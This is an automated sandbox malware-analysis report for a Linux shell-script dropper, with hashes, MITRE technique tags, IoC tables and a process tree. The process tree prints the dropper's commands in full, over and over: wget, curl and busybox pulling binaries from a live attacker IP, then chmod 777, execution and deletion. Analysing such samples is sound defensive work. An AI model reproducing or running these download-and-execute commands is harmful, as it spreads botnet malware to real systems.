df25974f365eb3183f893e2021c59d5d9abb8205585c3557a98558fd12f74f69

Analysis

max time kernel
67s
max time network
69s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/10/2024, 03:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
df25974f365eb3183f893e2021c59d5d9abb8205585c3557a98558fd12f74f69.sh
Size 10KB
Sample241028-d214vszekn
SHA256 df25974f365eb3183f893e2021c59d5d9abb8205585c3557a98558fd12f74f69
MD5 cd0b8da301cbc1912528ad75f74ff36d
SHA1 57aa912f4d5ab4222659474749ca725b4fdf3138
SHA512 63474d88feb6e181b2c6b3c3a8bdd3b7ed9dfa2cde9ba9766b50bc464714bbbc93650635a7ad135a66c1edabf7ff69cddfe43e08c8fb123409e3bdb4bf7ceaea
SSDEEP 192:ZJdslV9vWmv+SUO0EP8okpsFb3d9aBVpsWmv+SAJdslVn0EP8okxLd9aBV2:ZJdslV9vWmv+SUO0EP8oosFbusWmv+SY
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
814	chmod
865	chmod
919	chmod
955	chmod
737	chmod
889	chmod
961	chmod
757	chmod
780	chmod
751	chmod
820	chmod
871	chmod
931	chmod
943	chmod
745	chmod
877	chmod
913	chmod
967	chmod
845	chmod
895	chmod
901	chmod
925	chmod
949	chmod
883	chmod
937	chmod
973	chmod
979	chmod
907	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme	curl
File opened for modification	/tmp/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme	curl
File opened for modification	/tmp/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB	curl
File opened for modification	/tmp/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9	curl
File opened for modification	/tmp/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc	curl
File opened for modification	/tmp/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N	curl
File opened for modification	/tmp/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly	curl
File opened for modification	/tmp/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9	curl
File opened for modification	/tmp/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd	curl
File opened for modification	/tmp/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS	curl
File opened for modification	/tmp/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G	curl
File opened for modification	/tmp/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98	curl
File opened for modification	/tmp/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98	curl
File opened for modification	/tmp/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX	curl
File opened for modification	/tmp/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly	curl
File opened for modification	/tmp/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB	curl
File opened for modification	/tmp/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc	curl
File opened for modification	/tmp/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5	curl
File opened for modification	/tmp/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5	curl
File opened for modification	/tmp/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N	curl
File opened for modification	/tmp/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd	curl
File opened for modification	/tmp/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX	curl
File opened for modification	/tmp/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75	curl
File opened for modification	/tmp/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75	curl
File opened for modification	/tmp/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G	curl
File opened for modification	/tmp/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ	curl
File opened for modification	/tmp/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ	curl
File opened for modification	/tmp/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS	curl

/tmp/df25974f365eb3183f893e2021c59d5d9abb8205585c3557a98558fd12f74f69.sh
/tmp/df25974f365eb3183f893e2021c59d5d9abb8205585c3557a98558fd12f74f69.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://87.120.126.196/bins/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  PID:734
- /bin/chmod
  chmod 777 qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  ./qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  PID:740
- /usr/bin/wget
  wget http://87.120.126.196/bins/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  PID:744
- /bin/chmod
  chmod 777 7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  ./7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm 7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.126.196/bins/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  PID:750
- /bin/chmod
  chmod 777 133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  ./133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm 133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.126.196/bins/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  PID:756
- /bin/chmod
  chmod 777 51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  ./51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm 51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  PID:761
- /usr/bin/wget
  wget http://87.120.126.196/bins/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  PID:776
- /bin/chmod
  chmod 777 Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  ./Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.126.196/bins/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  PID:800
- /bin/chmod
  chmod 777 gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  ./gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.126.196/bins/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  PID:819
- /bin/chmod
  chmod 777 rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  ./rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.126.196/bins/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  PID:829
- /bin/chmod
  chmod 777 hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  ./hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  PID:850
- /usr/bin/wget
  wget http://87.120.126.196/bins/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  PID:864
- /bin/chmod
  chmod 777 05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  ./05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm 05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.126.196/bins/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  PID:870
- /bin/chmod
  chmod 777 y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  ./y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.126.196/bins/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  PID:876
- /bin/chmod
  chmod 777 xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  ./xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm xKuu4u7HcsskZEVp2tRyGDPs6APgWNz4RJ
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.126.196/bins/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  PID:882
- /bin/chmod
  chmod 777 MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  ./MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm MXwNqP9JQwDdVr4rvrMXgakYfN2hmuvv75
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.126.196/bins/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  PID:888
- /bin/chmod
  chmod 777 PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  ./PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm PlQKoW0kJhdQZbt11mGFzaMlQxeenteUly
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.126.196/bins/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  PID:894
- /bin/chmod
  chmod 777 tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  ./tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.126.196/bins/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  PID:900
- /bin/chmod
  chmod 777 51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  ./51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm 51dXcnvJHWjaUe2kuPjUkfCauRrbMjuAW5
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.126.196/bins/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  PID:906
- /bin/chmod
  chmod 777 qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  ./qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm qCXc0xGeyWJSKbsx2jYBPhMBInhHtGjpQ9
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.126.196/bins/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  PID:912
- /bin/chmod
  chmod 777 7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  ./7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm 7QPUIgJ5ltsVoojrpK34GdrD0dsgtmAvkd
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.126.196/bins/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  PID:918
- /bin/chmod
  chmod 777 133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  ./133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm 133lcy7pgamNJ6wgAd9Z0NryEjUMcKTKqX
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.126.196/bins/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  PID:924
- /bin/chmod
  chmod 777 Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  ./Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm Zl0SaFKIfoluyEvIdLmSRKIXc2UJG2ePme
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.126.196/bins/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  PID:930
- /bin/chmod
  chmod 777 05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  ./05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm 05wZaxcTa605jhQnQNan9ekTwiVCkYY7pS
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.126.196/bins/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  PID:936
- /bin/chmod
  chmod 777 y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  ./y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm y1efnhqJfPBB9JFqlcbE4RTK4HvogBTJ7G
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.126.196/bins/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  PID:942
- /bin/chmod
  chmod 777 gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  ./gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm gRXScggvICs157KIrJp9HsjjV4vEZKOAKc
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.126.196/bins/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  PID:948
- /bin/chmod
  chmod 777 rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  ./rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm rJUunYHQQh3veQstczQ4iBZ3NnKmlMikoB
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.126.196/bins/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  PID:954
- /bin/chmod
  chmod 777 hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  ./hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm hJQqqM876sLvlWjDRPK2XPYJg1jx4MnQ0N
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.126.196/bins/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/tU5e3Mv37VUeG95FvGDrBgsbQUnkV9Sm98
  2⤵
  PID:960
- /bin/chmod
